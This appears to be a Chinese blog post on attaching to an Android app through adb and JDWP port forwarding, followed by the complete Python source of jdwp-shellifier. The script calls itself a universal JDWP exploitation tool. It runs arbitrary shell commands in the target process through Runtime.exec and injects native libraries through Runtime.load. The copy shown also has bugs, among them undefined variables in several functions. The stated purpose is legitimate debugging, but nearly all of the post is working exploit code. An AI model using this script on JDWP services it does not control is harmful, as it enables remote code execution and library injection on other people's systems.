• 使用jdwpshellifier来Attach app并继续运行


    将app设置为Waiting For Debugger

    ①  仅标记app下次启动等待debugger

    adb shell am set-debug-app -w com.tencent.mf.uam

    ② 标记app每次启动等待debugger

    拉起app进程

    adb shell monkey -p com.tencent.mf.uam -c android.intent.category.LAUNCHER 1

    拿到 jdwp id,并做端口转发,用于传输数据

    adb jdwp // 返回jdwp id : xxxx
    adb forward tcp:8700 jdwp:xxxx

    Attach app,然后继续运行

    <ndk>\android-ndk-r21c\prebuilt\windows-x86_64\bin\python.exe jdwp-shellifier.py --target 127.0.0.1 --port 8700 --break-on android.app.Activity.onResume

    注:jdwp-shellifier.py需使用phthon2来执行。<ndk>\android-ndk-r21c\prebuilt\windows-x86_64\bin\python.exe的版本为2.7.5

    jdwp-shellifier为一个使用JDWP服务来执行远程代码的python脚本。具体用法可查看:https://github.com/IOActive/jdwp-shellifier/

    整体架构如下

    本文使用的jdwp-shellifier.py版本

    #!/usr/bin/python
    ################################################################################
    #
    # Universal JDWP shellifier
    #
    # @_hugsy_
    #
    # And special cheers to @lanjelot
    #
    # loadlib option by @ikoz
    #
    
    import argparse
    import json
    import logging
    import logging.config
    import os
    import socket
    import struct
    import sys
    import time
    import traceback
    import urllib
    
    ################################################################################
    #
    # JDWP protocol variables
    #
    HANDSHAKE = "JDWP-Handshake"
    
    REQUEST_PACKET_TYPE = 0x00
    REPLY_PACKET_TYPE = 0x80
    
    # Command signatures
    VERSION_SIG = (1, 1)
    CLASSESBYSIGNATURE_SIG = (1, 2)
    ALLCLASSES_SIG = (1, 3)
    ALLTHREADS_SIG = (1, 4)
    IDSIZES_SIG = (1, 7)
    CREATESTRING_SIG = (1, 11)
    SUSPENDVM_SIG = (1, 8)
    RESUMEVM_SIG = (1, 9)
    SIGNATURE_SIG = (2, 1)
    FIELDS_SIG = (2, 4)
    METHODS_SIG = (2, 5)
    GETVALUES_SIG = (2, 6)
    CLASSOBJECT_SIG = (2, 11)
    INVOKESTATICMETHOD_SIG = (3, 3)
    REFERENCETYPE_SIG = (9, 1)
    INVOKEMETHOD_SIG = (9, 6)
    STRINGVALUE_SIG = (10, 1)
    THREADNAME_SIG = (11, 1)
    THREADSUSPEND_SIG = (11, 2)
    THREADRESUME_SIG = (11, 3)
    THREADSTATUS_SIG = (11, 4)
    EVENTSET_SIG = (15, 1)
    EVENTCLEAR_SIG = (15, 2)
    EVENTCLEARALL_SIG = (15, 3)
    
    # Other codes
    MODKIND_COUNT = 1
    MODKIND_THREADONLY = 2
    MODKIND_CLASSMATCH = 5
    MODKIND_LOCATIONONLY = 7
    EVENT_BREAKPOINT = 2
    SUSPEND_EVENTTHREAD = 1
    SUSPEND_ALL = 2
    NOT_IMPLEMENTED = 99
    VM_DEAD = 112
    INVOKE_SINGLE_THREADED = 2
    TAG_OBJECT = 76
    TAG_STRING = 115
    TYPE_CLASS = 1
    
    
    ################################################################################
    #
    # JDWP client class
    #
    class JDWPClient:
    
        def __init__(self, host, port=8000):
            self.host = host
            self.port = port
            self.methods = {}
            self.fields = {}
            self.id = 0x01
            self.socket = None
            self.classes = []
            self.threads = []
    
        def create_packet(self, cmd_sig, data=""):
            flags = 0x00
            cmd_set, cmd = cmd_sig
            pkt_len = len(data) + 11
            pkt = struct.pack(">IIccc", pkt_len, self.id, chr(flags), chr(cmd_set), chr(cmd))
            pkt += data
            self.id += 2
            return pkt
    
        def read_reply(self):
            header = self.socket.recv(11)
            pkt_len, id, flags, errcode = struct.unpack(">IIcH", header)
    
            if flags == chr(REPLY_PACKET_TYPE):
                if errcode:
                    logger.error("Received errcode %d" % errcode)
                    raise Exception("Received errcode %d" % errcode)
            buf = ""
            while len(buf) + 11 < pkt_len:
                data = self.socket.recv(1024)
                if len(data):
                    buf += data
                else:
                    time.sleep(1)
            return buf
    
        def parse_entries(self, buf, formats, explicit=True):
            entries = []
            index = 0
    
            if explicit:
                nb_entries = struct.unpack(">I", buf[:4])[0]
                buf = buf[4:]
            else:
                nb_entries = 1
            for i in range(nb_entries):
                data = {}
                for fmt, name in formats:
                    if fmt == "L" or fmt == 8:
                        data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0])
                        index += 8
                    elif fmt == "I" or fmt == 4:
                        data[name] = int(struct.unpack(">I", buf[index:index + 4])[0])
                        index += 4
                    elif fmt == 'S':
                        l = struct.unpack(">I", buf[index:index + 4])[0]
                        data[name] = buf[index + 4:index + 4 + l]
                        index += 4 + l
                    elif fmt == 'C':
                        data[name] = ord(struct.unpack(">c", buf[index])[0])
                        index += 1
                    elif fmt == 'Z':
                        t = ord(struct.unpack(">c", buf[index])[0])
                        if t == 115:
                            s = self.solve_string(buf[index + 1:index + 9])
                            data[name] = s
                            index += 9
                        elif t == 73:
                            data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0]
                            buf = struct.unpack(">I", buf[index + 5:index + 9])
                            index = 0
                    else:
                        logger.error("error")
                        sys.exit(1)
                entries.append(data)
            return entries
    
        def format(self, fmt, value):
            if fmt == "L" or fmt == 8:
                return struct.pack(">Q", value)
            elif fmt == "I" or fmt == 4:
                return struct.pack(">I", value)
            logger.error("Unknown format")
            raise Exception("Unknown format")
    
        def unformat(self, fmt, value):
            if fmt == "L" or fmt == 8:
                return struct.unpack(">Q", value[:8])[0]
            elif fmt == "I" or fmt == 4:
                return struct.unpack(">I", value[:4])[0]
            else:
                logger.error("Unknown format")
                raise Exception("Unknown format")
    
        def start(self):
            self.handshake(self.host, self.port)
            self.id_sizes()
            self.get_version()
            self.all_classes()
    
        def handshake(self, host, port):
            s = socket.socket()
            try:
                s.connect((host, port))
            except socket.error as msg:
                logger.error("Failed to connect: %s" % msg)
                raise Exception("Failed to connect: %s" % msg)
            s.send(HANDSHAKE)
    
            if s.recv(len(HANDSHAKE)) != HANDSHAKE:
                logger.error("Failed to handshake, Please close AndroidStudio, UE4 and other programs that may occupy ADB before using this program")
                raise Exception("Failed to handshake")
            else:
                self.socket = s
    
        def leave(self):
            self.socket.close()
    
        def get_version(self):
            self.socket.sendall(self.create_packet(VERSION_SIG))
            buf = self.read_reply()
            formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
                       ('S', "vmVersion"), ('S', "vmName"), ]
            for entry in self.parse_entries(buf, formats, False):
                for name, value in entry.iteritems():
                    setattr(self, name, value)
    
        @property
        def version(self):
            return "%s - %s" % (self.vmName, self.vmVersion)
    
        def id_sizes(self):
            self.socket.sendall(self.create_packet(IDSIZES_SIG))
            buf = self.read_reply()
            formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
                       ("I", "referenceTypeIDSize"), ("I", "frameIDSize")]
            for entry in self.parse_entries(buf, formats, False):
                for name, value in entry.iteritems():
                    setattr(self, name, value)
    
        def all_threads(self):
            try:
                getattr(self, "threads")
            except Exception as e:
                logger.error(e)
                self.socket.sendall(self.create_packet(ALLTHREADS_SIG))
                buf = self.read_reply()
                formats = [(self.objectIDSize, "threadId")]
                self.threads = self.parse_entries(buf, formats)
    
        def get_thread_by_name(self, name):
            self.all_threads()
            for t in self.threads:
                thread_id = self.format(self.objectIDSize, t["threadId"])
                self.socket.sendall(self.create_packet(THREADNAME_SIG, data=thread_id))
                buf = self.read_reply()
                if len(buf) and name == self.readstring(buf):
                    return t
            return None
    
        def all_classes(self):
            self.socket.sendall(self.create_packet(ALLCLASSES_SIG))
            buf = self.read_reply()
            logger.error(buf)
            formats = [('C', "refTypeTag"),
                       (self.referenceTypeIDSize, "refTypeId"),
                       ('S', "signature"),
                       ('I', "status")]
            self.classes = self.parse_entries(buf, formats)
            return self.classes
    
        def get_class_by_name(self, name):
            for entry in self.classes:
                if entry["signature"].lower() == name.lower():
                    return entry
            return None
    
        def get_methods(self, ref_type_id):
            if not self.methods.has_key(ref_type_id):
                ref_id = self.format(self.referenceTypeIDSize, ref_type_id)
                self.socket.sendall(self.create_packet(METHODS_SIG, data=ref_id))
                buf = self.read_reply()
                formats = [(self.methodIDSize, "methodId"),
                           ('S', "name"),
                           ('S', "signature"),
                           ('I', "modBits")]
                self.methods[ref_type_id] = self.parse_entries(buf, formats)
            return self.methods[ref_type_id]
    
        def get_method_by_name(self, name):
            for ref_id in self.methods.keys():
                for entry in self.methods[ref_id]:
                    if entry["name"].lower() == name.lower():
                        return entry
            return None
    
        def get_file_id(self, ref_type_id):
            if not self.fields.has_key(refTypeId):
                ref_id = self.format(self.referenceTypeIDSize, ref_type_id)
                self.socket.sendall(self.create_packet(FIELDS_SIG, data=ref_id))
                buf = self.read_reply()
                formats = [(self.fieldIDSize, "fieldId"),
                           ('S', "name"),
                           ('S', "signature"),
                           ('I', "modbits")]
                self.fields[ref_type_id] = self.parse_entries(buf, formats)
            return self.fields[ref_type_id]
    
        def get_value(self, ref_type_id, field_id):
            data = self.format(self.referenceTypeIDSize, ref_type_id)
            data += struct.pack(">I", 1)
            data += self.format(self.fieldIDSize, field_id)
            self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data))
            buf = self.read_reply()
            formats = [("Z", "value")]
            field = self.parse_entries(buf, formats)[0]
            return field
    
        def create_string(self, data):
            buf = self.buildstring(data)
            self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf))
            buf = self.read_reply()
            return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
    
        def buildstring(self, data):
            return struct.pack(">I", len(data)) + data
    
        def readstring(self, data):
            size = struct.unpack(">I", data[:4])[0]
            return data[4:4 + size]
    
        def suspendvm(self):
            self.socket.sendall(self.create_packet(SUSPENDVM_SIG))
            self.read_reply()
            return
    
        def resume_vm(self):
            self.socket.sendall(self.create_packet(RESUMEVM_SIG))
            self.read_reply()
            return
    
        def invoke_static(self, class_id, thread_id, method_id, *args):
            data = self.format(self.referenceTypeIDSize, class_id)
            data += self.format(self.objectIDSize, thread_id)
            data += self.format(self.methodIDSize, method_id)
            data += struct.pack(">I", len(args))
            for arg in args:
                data += arg
            data += struct.pack(">I", 0)
    
            self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data))
            buf = self.read_reply()
            return buf
    
        def invoke(self, obj_id, thread_id, class_id, method_id, *args):
            data = self.format(self.objectIDSize, obj_id)
            data += self.format(self.objectIDSize, thread_id)
            data += self.format(self.referenceTypeIDSize, class_id)
            data += self.format(self.methodIDSize, method_id)
            data += struct.pack(">I", len(args))
            for arg in args:
                data += arg
            data += struct.pack(">I", 0)
    
            self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
            buf = self.read_reply()
            return buf
    
        def invoke_void(self, obj_id, thread_id, class_id, method_id, *args):
            data = self.format(self.objectIDSize, obj_id)
            data += self.format(self.objectIDSize, thread_id)
            data += self.format(self.referenceTypeIDSize, class_id)
            data += self.format(self.methodIDSize, method_id)
            data += struct.pack(">I", len(args))
            for arg in args:
                data += arg
            data += struct.pack(">I", 0)
    
            self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
            buf = None
            return buf
    
        def solve_string(self, obj_id):
            self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=obj_id))
            buf = self.read_reply()
            if len(buf):
                return self.readstring(buf)
            else:
                return ""
    
        def query_thread(self, thread_id, kind):
            data = self.format(self.objectIDSize, thread_id)
            self.socket.sendall(self.create_packet(kind, data=data))
    
        def suspend_thread(self, thread_id):
            return self.query_thread(thread_id, THREADSUSPEND_SIG)
    
        def status_thread(self, thread_id):
            return self.query_thread(thread_id, THREADSTATUS_SIG)
    
        def resume_thread(self, thread_id):
            return self.query_thread(thread_id, THREADRESUME_SIG)
    
        def send_event(self, event_code, *args):
            data = ""
            data += chr(event_code)
            data += chr(SUSPEND_ALL)
            data += struct.pack(">I", len(args))
    
            for kind, option in args:
                data += chr(kind)
                data += option
    
            self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data))
            buf = self.read_reply()
            return struct.unpack(">I", buf)[0]
    
        def clear_event(self, event_code, r_id):
            data = chr(event_code)
            data += struct.pack(">I", r_id)
            self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data))
            self.read_reply()
            return
    
        def clear_events(self):
            self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG))
            self.read_reply()
            return
    
        def wait_for_event(self):
            buf = self.read_reply()
            return buf
    
        def parse_event_breakpoint(self, buf, event_id):
            num = struct.unpack(">I", buf[2:6])[0]
            r_id = struct.unpack(">I", buf[6:10])[0]
            if r_id != event_id:
                return None
            t_id = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize])
            loc = -1  # don't care
            return r_id, t_id, loc
    
    
    def runtime_exec(jdwp, args):
        logger.info("[+] Targeting '%s:%d'" % (args.target, args.port))
        logger.info("[+] Reading settings for '%s'" % jdwp.version)
    
        # 1. get Runtime class reference
        runtime_class = jdwp.get_class_by_name("Ljava/lang/Runtime;")
        if runtime_class is None:
            logger.error("[-] Cannot find class Runtime")
            return False
        logger.info("[+] Found Runtime class: id=%x" % runtime_class["refTypeId"])
    
        # 2. get getRuntime() method reference
        jdwp.get_methods(runtime_class["refTypeId"])
        runtime_method = jdwp.get_method_by_name("getRuntime")
        if runtime_method is None:
            logger.error("[-] Cannot find method Runtime.getRuntime()")
            return False
        logger.info("[+] Found Runtime.getRuntime(): id=%x" % runtime_method["methodId"])
    
        # 3. setup breakpoint on frequently called method
        c = jdwp.get_class_by_name(args.break_on_class)
        if c is None:
            logger.error("[-] Could not access class '%s'" % args.break_on_class)
            logger.error("[-] It is possible that this class is not used by application")
            logger.error("[-] Test with another one with option `--break-on`")
            return False
    
        jdwp.get_methods(c["refTypeId"])
        m = jdwp.get_method_by_name(args.break_on_method)
        if m is None:
            logger.error("[-] Could not access method '%s'" % args.break_on)
            return False
    
        loc = chr(TYPE_CLASS)
        loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"])
        loc += jdwp.format(jdwp.methodIDSize, m["methodId"])
        loc += struct.pack(">II", 0, 0)
        data = [(MODKIND_LOCATIONONLY, loc), ]
        r_id = jdwp.send_event(EVENT_BREAKPOINT, *data)
        logger.info("[+] Created break event id=%x" % r_id)
    
        # 4. resume vm and wait for event
        jdwp.resume_vm()
        logger.info("[+] Waiting for an event on '%s'" % args.break_on)
        while True:
            buf = jdwp.wait_for_event()
            ret = jdwp.parse_event_breakpoint(buf, r_id)
            if ret is not None:
                break
    
        r_id, t_id, loc = ret
        logger.info("[+] Received matching event from thread %#x" % t_id)
    
        # time.sleep(1)
        # jdwp.clear_event(EVENT_BREAKPOINT, r_id)
    
        # 5. Now we can execute any code
        if args.cmd:
            runtime_exec_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], args.cmd)
        elif args.loadlib:
            package_name = get_package_name(jdwp, t_id)
            tmp_location = "/data/local/tmp/" + args.loadlib
            dst_location = "/data/data/" + package_name + "/" + args.loadlib
            command = "cp " + tmp_location + " " + dst_location
            logger.info("[*] Copying library from " + tmp_location + " to " + dst_location)
            runtime_exec_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], command)
            time.sleep(2)
            logger.info("[*] Executing Runtime.load(" + dst_location + ")")
            runtime_load_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], dst_location)
            time.sleep(2)
            logger.info("[*] Library should now be loaded")
        else:
            # by default, only prints out few system properties
            runtime_exec_info(jdwp, tId)
        jdwp.resume_vm()
        logger.info("[!] Command successfully executed")
        return True
    
    
    def runtime_exec_info(jdwp, thread_id):
        #
        # This function calls java.lang.System.getProperties() and
        # displays OS properties (non-intrusive)
        #
        properties = {"java.version": "Java Runtime Environment version",
                      "java.vendor": "Java Runtime Environment vendor",
                      "java.vendor.url": "Java vendor URL",
                      "java.home": "Java installation directory",
                      "java.vm.specification.version": "Java Virtual Machine specification version",
                      "java.vm.specification.vendor": "Java Virtual Machine specification vendor",
                      "java.vm.specification.name": "Java Virtual Machine specification name",
                      "java.vm.version": "Java Virtual Machine implementation version",
                      "java.vm.vendor": "Java Virtual Machine implementation vendor",
                      "java.vm.name": "Java Virtual Machine implementation name",
                      "java.specification.version": "Java Runtime Environment specification version",
                      "java.specification.vendor": "Java Runtime Environment specification vendor",
                      "java.specification.name": "Java Runtime Environment specification name",
                      "java.class.version": "Java class format version number",
                      "java.class.path": "Java class path",
                      "java.library.path": "List of paths to search when loading libraries",
                      "java.io.tmpdir": "Default temp file path",
                      "java.compiler": "Name of JIT compiler to use",
                      "java.ext.dirs": "Path of extension directory or directories",
                      "os.name": "Operating system name",
                      "os.arch": "Operating system architecture",
                      "os.version": "Operating system version",
                      "file.separator": "File separator",
                      "path.separator": "Path separator",
                      "user.name": "User's account name",
                      "user.home": "User's home directory",
                      "user.dir": "User's current working directory"
                      }
    
        system_class = jdwp.get_class_by_name("Ljava/lang/System;")
        if systemClass is None:
            logger.error("[-] Cannot find class java.lang.System")
            return False
    
        jdwp.get_methods(system_class["refTypeId"])
        get_property_method = jdwp.get_method_by_name("getProperty")
        if get_property_method is None:
            logger.error("[-] Cannot find method System.getProperty()")
            return False
    
        for prop_str, prop_desc in properties.iteritems():
            prop_obj_ids = jdwp.create_string(prop_str)
            if len(prop_obj_ids) == 0:
                logger.error("[-] Failed to allocate command")
                return False
            prop_obj_id = prop_obj_ids[0]["objId"]
    
            data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, prop_obj_id), ]
            buf = jdwp.invoke_static(systemClass["refTypeId"],
                                    thread_id,
                                    get_property_method["methodId"],
                                    *data)
            if buf[0] != chr(TAG_STRING):
                logger.info("[-] %s: Unexpected returned type: expecting String" % prop_str)
            else:
                ret_id = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
                res = cli.solve_string(jdwp.format(jdwp.objectIDSize, ret_id))
                logger.info("[+] Found %s '%s'" % (prop_desc, res))
        return True
    
    
    def runtime_exec_payload(jdwp, thread_id, runtime_class_id, runtime_method_id, command):
        #
        # This function will invoke command as a payload, which will be running
        # with JVM privilege on host (intrusive).
        #
        logger.info("[+] Selected payload '%s'" % command)
    
        # 1. allocating string containing our command to exec()
        cmd_obj_ids = jdwp.create_string(command)
        if len(cmd_obj_ids) == 0:
            logger.error("[-] Failed to allocate command")
            return False
        cmd_obj_id = cmd_obj_ids[0]["objId"]
        logger.info("[+] Command string object created id:%x" % cmd_obj_id)
    
        # 2. use context to get Runtime object
        buf = jdwp.invoke_static(runtime_class_id, thread_id, runtime_method_id)
        if buf[0] != chr(TAG_OBJECT):
            logger.error("[-] Unexpected returned type: expecting Object")
            return False
        rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
    
        if rt is None:
            logger.error("[-] Failed to invoke Runtime.getRuntime()")
            return False
        logger.info("[+] Runtime.getRuntime() returned context id:%#x" % rt)
    
        # 3. find exec() method
        exec_method = jdwp.get_method_by_name("exec")
        if exec_method is None:
            logger.error("[-] Cannot find method Runtime.exec()")
            return False
        logger.info("[+] found Runtime.exec(): id=%x" % exec_method["methodId"])
    
        # 4. call exec() in this context with the alloc-ed string
        data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmd_obj_id)]
        buf = jdwp.invoke(rt, thread_id, runtime_class_id, exec_method["methodId"], *data)
        if buf[0] != chr(TAG_OBJECT):
            logger.error("[-] Unexpected returned type: expecting Object")
            return False
        logger.info("[+] Runtime.exec() successful, retId=%x" % jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]))
        return True
    
    
    def get_package_name(jdwp, thread_id):
        #
        # This function will invoke ActivityThread.currentApplication().getPackageName()
        #
        activity_thread_class = jdwp.get_class_by_name("Landroid/app/ActivityThread;")
        if activity_thread_class is None:
            logger.error("[-] Cannot find class android.app.ActivityThread")
            return False
    
        context_wrapper_class = jdwp.get_class_by_name("Landroid/content/ContextWrapper;")
        if context_wrapper_class is None:
            logger.error("[-] Cannot find class android.content.ContextWrapper")
            return False
    
        jdwp.get_methods(activity_thread_class["refTypeId"])
        jdwp.get_methods(context_wrapper_class["refTypeId"])
    
        get_context_method = jdwp.get_method_by_name("currentApplication")
        if get_context_method is None:
            logger.error("[-] Cannot find method ActivityThread.currentApplication()")
            return False
    
        buf = jdwp.invoke_static(
            activity_thread_class["refTypeId"], thread_id, get_context_method["methodId"])
        if buf[0] != chr(TAG_OBJECT):
            logger.error("[-] Unexpected returned type: expecting Object")
            return False
        rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
        if rt is None:
            logger.error("[-] Failed to invoke ActivityThread.currentApplication()")
            return False
    
        # 3. find getPackageName() method
        get_package_name_method = jdwp.get_method_by_name("getPackageName")
        if get_package_name is None:
            logger.error("[-] Cannot find method ActivityThread.currentApplication().getPackageName()")
            return False
    
        # 4. call getPackageNameMeth()
        buf = jdwp.invoke(rt, thread_id, context_wrapper_class["refTypeId"], get_package_name_method["methodId"])
        if buf[0] != chr(TAG_STRING):
            logger.info("[-] %s: Unexpected returned type: expecting String")
        else:
            ret_id = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
            res = cli.solve_string(jdwp.format(jdwp.objectIDSize, ret_id))
            logger.info("[+] getPackageMethod(): '%s'" % res)
        return "%s" % res
    
    
    def runtime_load_payload(jdwp, thread_id, runtime_class_id, runtime_method_id, library):
        #
        # This function will run Runtime.load() with library as a payload
        #
    
        # print("[+] Selected payload '%s'" % library)
    
        # 1. allocating string containing our command to exec()
        cmd_obj_ids = jdwp.create_string(library)
        if len(cmd_obj_ids) == 0:
            logger.error("[-] Failed to allocate library string")
            return False
        cmd_obj_id = cmd_obj_ids[0]["objId"]
        logger.info("[+] Command string object created id:%x" % cmd_obj_id)
    
        # 2. use context to get Runtime object
        buf = jdwp.invoke_static(runtime_class_id, thread_id, runtime_method_id)
        if buf[0] != chr(TAG_OBJECT):
            logger.error("[-] Unexpected returned type: expecting Object")
            return False
        rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
    
        if rt is None:
            logger.error("[-] Failed to invoke Runtime.getRuntime()")
            return False
        # print("[+] Runtime.getRuntime() returned context id:%#x" % rt)
    
        # 3. find load() method
        load_method = jdwp.get_method_by_name("load")
        if load_method is None:
            logger.error("[-] Cannot find method Runtime.load()")
            return False
        # print("[+] found Runtime.load(): id=%x" % loadMeth["methodId"])
    
        # 4. call exec() in this context with the alloc-ed string
        data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmd_obj_id)]
        jdwp.invoke_void(rt, thread_id, runtime_class_id, load_method["methodId"], *data)
        logger.info("[+] Runtime.load(%s) probably successful" % library)
        return True
    
    
    def path_parse(s):
        i = s.rfind('.')
        if i == -1:
            logger.error('Cannot parse path')
            sys.exit(1)
        return 'L' + s[:i].replace('.', '/') + ';', s[i:][1:]
    
    
    def setup_logging(default_path='logging.json', default_level=logging.INFO):
        if os.path.exists(default_path):
            with open(default_path, 'r') as f:
                config = json.load(f)
                logging.config.dictConfig(config)
        else:
            logging.basicConfig(level=default_level)
        return logging.getLogger('jdwp')
    
    
    if __name__ == "__main__":
        logger = setup_logging(default_path=os.path.join(os.getcwd(), 'logging.json'))
        if sys.version > '3':
            logger.error("Currently only supports python2!")
        parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
                                         formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    
        parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
        parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
    
        parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD",
                            default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
        parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND",
                            help="Specify command to execute remotely")
        parser.add_argument("--loadlib", dest="loadlib", type=str, metavar="LIBRARYNAME",
                            help="Specify library to inject into process load")
    
        args = parser.parse_args()
    
        class_name, method_name = path_parse(args.break_on)
        setattr(args, "break_on_class", class_name)
        setattr(args, "break_on_method", method_name)
    
        ret_code = 0
    
        try:
            cli = JDWPClient(args.target, args.port)
            cli.start()
            if not runtime_exec(cli, args):
                logger.error("[-] Exploit failed")
                ret_code = 1
        except KeyboardInterrupt:
            logger.error("[+] Exiting on user's request")
        except Exception as e:
            logger.error("[-] Exception: %s" % e)
            traceback.print_exc()
            ret_code = 1
            cli = None
        finally:
            if cli:
                cli.leave()
    
        sys.exit(ret_code)

  • 相关阅读:
    Elasticsearch学习,请先看这一篇!
    加解密/数字签名/证书 原理
    C# 给对象赋null值会释放内存吗?
    打包常见问题
    友盟推送
    谈一谈可能用到数据持久化的地方
    浅谈设置字体大小
    AFN和SDWebImage请求网络图片的一点问题
    linux学习(1)——这是一个新的开始,加油吧少年
    C指针——简单总结
  • 原文地址:https://www.cnblogs.com/kekec/p/15711814.html
Copyright © 2020-2023  润新知